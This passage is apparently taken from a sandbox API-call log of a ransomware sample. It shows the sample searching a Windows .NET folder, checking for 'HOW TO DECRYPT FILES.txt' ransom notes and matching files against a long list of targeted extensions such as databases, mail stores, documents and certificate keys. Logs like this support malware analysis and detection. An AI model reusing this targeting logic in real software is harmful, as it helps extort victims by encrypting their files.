"c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.634] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="jsc.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe" [0135.634] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.ems") returned 0 [0135.634] lstrlenA (lpString="*.ems") returned 5 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.db") returned 0 [0135.635] lstrlenA (lpString="*.db") returned 4 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.dbf") returned 0 [0135.635] lstrlenA (lpString="*.dbf") returned 5 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.myox") returned 0 [0135.635] lstrlenA (lpString="*.myox") returned 6 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.myo") returned 0 [0135.635] lstrlenA (lpString="*.myo") returned 5 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.qbw") returned 0 [0135.635] lstrlenA (lpString="*.qbw") returned 5 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.qbb") returned 0 [0135.635] lstrlenA (lpString="*.qbb") returned 5 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.qbm") returned 0 [0135.635] lstrlenA (lpString="*.qbm") returned 5 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.qbo") returned 0 [0135.635] lstrlenA (lpString="*.qbo") returned 5 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.qbx") returned 0 [0135.635] lstrlenA (lpString="*.qbx") returned 5 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.qba") returned 0 [0135.635] lstrlenA (lpString="*.qba") returned 5 [0135.635] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.qby") returned 0 [0135.636] lstrlenA (lpString="*.qby") returned 5 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.qbj") returned 0 [0135.636] lstrlenA (lpString="*.qbj") returned 5 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.ofx") returned 0 [0135.636] lstrlenA (lpString="*.ofx") returned 5 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.qif") returned 0 [0135.636] lstrlenA (lpString="*.qif") returned 5 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.mye") returned 0 [0135.636] lstrlenA (lpString="*.mye") returned 5 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.mbox") returned 0 [0135.636] lstrlenA (lpString="*.mbox") returned 6 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.eml") returned 0 [0135.636] lstrlenA (lpString="*.eml") returned 5 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.pst") returned 0 [0135.636] lstrlenA (lpString="*.pst") returned 5 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.ost") returned 0 [0135.636] lstrlenA (lpString="*.ost") returned 5 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.idx") returned 0 [0135.636] lstrlenA (lpString="*.idx") returned 5 [0135.636] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.dbx") returned 0 [0135.636] lstrlenA (lpString="*.dbx") returned 5 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.sql") returned 0 [0135.637] lstrlenA (lpString="*.sql") returned 5 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.mdb") returned 0 [0135.637] lstrlenA (lpString="*.mdb") returned 5 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.fdb") returned 0 [0135.637] lstrlenA (lpString="*.fdb") returned 5 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.wab") returned 0 [0135.637] lstrlenA (lpString="*.wab") returned 5 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.dat") returned 0 [0135.637] lstrlenA (lpString="*.dat") returned 5 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.txt") returned 0 [0135.637] lstrlenA (lpString="*.txt") returned 5 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.jpeg") returned 0 [0135.637] lstrlenA (lpString="*.jpeg") returned 6 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.jpg") returned 0 [0135.637] lstrlenA (lpString="*.jpg") returned 5 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.png") returned 0 [0135.637] lstrlenA (lpString="*.png") returned 5 [0135.637] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.php") returned 0 [0135.637] lstrlenA (lpString="*.php") returned 5 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.cs") returned 0 [0135.638] lstrlenA (lpString="*.cs") returned 4 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.cpp") returned 0 [0135.638] lstrlenA (lpString="*.cpp") returned 5 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.rar") returned 0 [0135.638] lstrlenA (lpString="*.rar") returned 5 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.zip") returned 0 [0135.638] lstrlenA (lpString="*.zip") returned 5 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.html") returned 0 [0135.638] lstrlenA (lpString="*.html") returned 6 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.htm") returned 0 [0135.638] lstrlenA (lpString="*.htm") returned 5 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.xlsx") returned 0 [0135.638] lstrlenA (lpString="*.xlsx") returned 6 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.xls") returned 0 [0135.638] lstrlenA (lpString="*.xls") returned 5 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.mp4") returned 0 [0135.638] lstrlenA (lpString="*.mp4") returned 5 [0135.638] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.ppt") returned 0 [0135.639] lstrlenA (lpString="*.ppt") returned 5 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.pptx") returned 0 [0135.639] lstrlenA (lpString="*.pptx") returned 6 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.doc") returned 0 [0135.639] lstrlenA (lpString="*.doc") returned 5 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.dot") returned 0 [0135.639] lstrlenA (lpString="*.dot") returned 5 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.docx") returned 0 [0135.639] lstrlenA (lpString="*.docx") returned 6 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.7z") returned 0 [0135.639] lstrlenA (lpString="*.7z") returned 4 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.tar") returned 0 [0135.639] lstrlenA (lpString="*.tar") returned 5 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.bz2") returned 0 [0135.639] lstrlenA (lpString="*.bz2") returned 5 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.gz") returned 0 [0135.639] lstrlenA (lpString="*.gz") returned 4 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.mkv") returned 0 [0135.639] lstrlenA (lpString="*.mkv") returned 5 [0135.639] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.eml") returned 0 [0135.639] lstrlenA (lpString="*.eml") returned 5 [0135.640] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.msg") returned 0 [0135.640] lstrlenA (lpString="*.msg") returned 5 [0135.640] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.edb") returned 0 [0135.640] lstrlenA (lpString="*.edb") returned 5 [0135.640] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.accdb") returned 0 [0135.644] lstrlenA (lpString="*.accdb") returned 7 [0135.645] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.odb") returned 0 [0135.645] lstrlenA (lpString="*.odb") returned 5 [0135.645] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.java") returned 0 [0135.645] lstrlenA (lpString="*.java") returned 6 [0135.645] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.asm") returned 0 [0135.645] lstrlenA (lpString="*.asm") returned 5 [0135.645] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.pfx") returned 0 [0135.645] lstrlenA (lpString="*.pfx") returned 5 [0135.645] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.pem") returned 0 [0135.645] lstrlenA (lpString="*.pem") returned 5 [0135.645] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.p12") returned 0 [0135.645] lstrlenA (lpString="*.p12") returned 5 [0135.645] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.gpg") returned 0 [0135.645] lstrlenA (lpString="*.gpg") returned 5 [0135.646] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.vsd") returned 0 [0135.646] lstrlenA (lpString="*.vsd") returned 5 [0135.646] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.odg") returned 0 [0135.646] lstrlenA (lpString="*.odg") returned 5 [0135.646] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.raw") returned 0 [0135.646] lstrlenA (lpString="*.raw") returned 5 [0135.646] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.nef") returned 0 [0135.646] lstrlenA (lpString="*.nef") returned 5 [0135.646] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.svg") returned 0 [0135.646] lstrlenA (lpString="*.svg") returned 5 [0135.646] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.psd") returned 0 [0135.646] lstrlenA (lpString="*.psd") returned 5 [0135.646] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.vmx") returned 0 [0135.646] lstrlenA (lpString="*.vmx") returned 5 [0135.646] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.vmdk") returned 0 [0135.646] lstrlenA (lpString="*.vmdk") returned 6 [0135.646] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.vdi") returned 0 [0135.647] lstrlenA (lpString="*.vdi") returned 5 [0135.647] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.lay6") returned 0 [0135.647] lstrlenA (lpString="*.lay6") returned 6 [0135.647] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.mpeg") returned 0 [0135.647] lstrlenA (lpString="*.mpeg") returned 6 [0135.647] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.djvu") returned 0 [0135.647] lstrlenA (lpString="*.djvu") returned 6 [0135.647] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.tiff") returned 0 [0135.647] lstrlenA (lpString="*.tiff") returned 6 [0135.647] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.backup") returned 0 [0135.647] lstrlenA (lpString="*.backup") returned 8 [0135.647] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.pdf") returned 0 [0135.647] lstrlenA (lpString="*.pdf") returned 5 [0135.647] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.cert") returned 0 [0135.647] lstrlenA (lpString="*.cert") returned 6 [0135.647] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.docm") returned 0 [0135.647] lstrlenA (lpString="*.docm") returned 6 [0135.647] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.xlsm") returned 0 [0135.648] lstrlenA (lpString="*.xlsm") returned 6 [0135.648] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.dwg") returned 0 [0135.648] lstrlenA (lpString="*.dwg") returned 5 [0135.648] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.nd") returned 0 [0135.648] lstrlenA (lpString="*.nd") returned 4 [0135.648] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.tlg") returned 0 [0135.648] lstrlenA (lpString="*.tlg") returned 5 [0135.648] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.lgb") returned 0 [0135.648] lstrlenA (lpString="*.lgb") returned 5 [0135.648] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.mov") returned 0 [0135.648] lstrlenA (lpString="*.mov") returned 5 [0135.648] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.xdw") returned 0 [0135.648] lstrlenA (lpString="*.xdw") returned 5 [0135.648] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.ods") returned 0 [0135.648] lstrlenA (lpString="*.ods") returned 5 [0135.648] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.wav") returned 0 [0135.648] lstrlenA (lpString="*.wav") returned 5 [0135.648] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.mp3") returned 0 [0135.649] lstrlenA (lpString="*.mp3") returned 5 [0135.649] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.aiff") returned 0 [0135.649] lstrlenA (lpString="*.aiff") returned 6 [0135.649] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.flac") returned 0 [0135.649] lstrlenA (lpString="*.flac") returned 6 [0135.649] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.m4a") returned 0 [0135.649] lstrlenA (lpString="*.m4a") returned 5 [0135.649] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe", pszSpec="*.csv") returned 0 [0135.649] lstrlenA (lpString="*.csv") returned 5 [0135.649] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf92726f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf92726f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa0b2445c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsc.exe.config", cAlternateFileName="JSCEXE~1.CON")) returned 1 [0135.649] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.649] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jsc.exe.config") returned -1 [0135.649] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jsc.exe.config") returned -1 [0135.649] lstrcmpiA (lpString1="", lpString2="jsc.exe.config") returned -1 [0135.649] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe") returned="jsc.exe" [0135.649] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.649] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.649] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.650] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.650] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="jsc.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config" [0135.650] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.ems") returned 0 [0135.650] lstrlenA (lpString="*.ems") returned 5 [0135.650] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.db") returned 0 [0135.650] lstrlenA (lpString="*.db") returned 4 [0135.650] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.dbf") returned 0 [0135.650] lstrlenA (lpString="*.dbf") returned 5 [0135.650] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.myox") returned 0 [0135.650] lstrlenA (lpString="*.myox") returned 6 [0135.650] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.myo") returned 0 [0135.650] lstrlenA (lpString="*.myo") returned 5 [0135.650] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.qbw") returned 0 [0135.650] lstrlenA (lpString="*.qbw") returned 5 [0135.650] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.qbb") returned 0 [0135.650] lstrlenA (lpString="*.qbb") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.qbm") returned 0 [0135.651] lstrlenA (lpString="*.qbm") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.qbo") returned 0 [0135.651] lstrlenA (lpString="*.qbo") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.qbx") returned 0 [0135.651] lstrlenA (lpString="*.qbx") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.qba") returned 0 [0135.651] lstrlenA (lpString="*.qba") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.qby") returned 0 [0135.651] lstrlenA (lpString="*.qby") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.qbj") returned 0 [0135.651] lstrlenA (lpString="*.qbj") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.ofx") returned 0 [0135.651] lstrlenA (lpString="*.ofx") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.qif") returned 0 [0135.651] lstrlenA (lpString="*.qif") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.mye") returned 0 [0135.651] lstrlenA (lpString="*.mye") returned 5 [0135.651] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.mbox") returned 0 [0135.651] lstrlenA (lpString="*.mbox") returned 6 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.eml") returned 0 [0135.652] lstrlenA (lpString="*.eml") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.pst") returned 0 [0135.652] lstrlenA (lpString="*.pst") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.ost") returned 0 [0135.652] lstrlenA (lpString="*.ost") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.idx") returned 0 [0135.652] lstrlenA (lpString="*.idx") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.dbx") returned 0 [0135.652] lstrlenA (lpString="*.dbx") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.sql") returned 0 [0135.652] lstrlenA (lpString="*.sql") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.mdb") returned 0 [0135.652] lstrlenA (lpString="*.mdb") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.fdb") returned 0 [0135.652] lstrlenA (lpString="*.fdb") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.wab") returned 0 [0135.652] lstrlenA (lpString="*.wab") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.dat") returned 0 [0135.652] lstrlenA (lpString="*.dat") returned 5 [0135.652] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.txt") returned 0 [0135.652] lstrlenA (lpString="*.txt") returned 5 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.jpeg") returned 0 [0135.653] lstrlenA (lpString="*.jpeg") returned 6 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.jpg") returned 0 [0135.653] lstrlenA (lpString="*.jpg") returned 5 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.png") returned 0 [0135.653] lstrlenA (lpString="*.png") returned 5 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.php") returned 0 [0135.653] lstrlenA (lpString="*.php") returned 5 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.cs") returned 0 [0135.653] lstrlenA (lpString="*.cs") returned 4 [0135.653] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config", pszSpec="*.cpp") returned 0 [0135.653] lstrlenA (lpString="*.cpp") returned 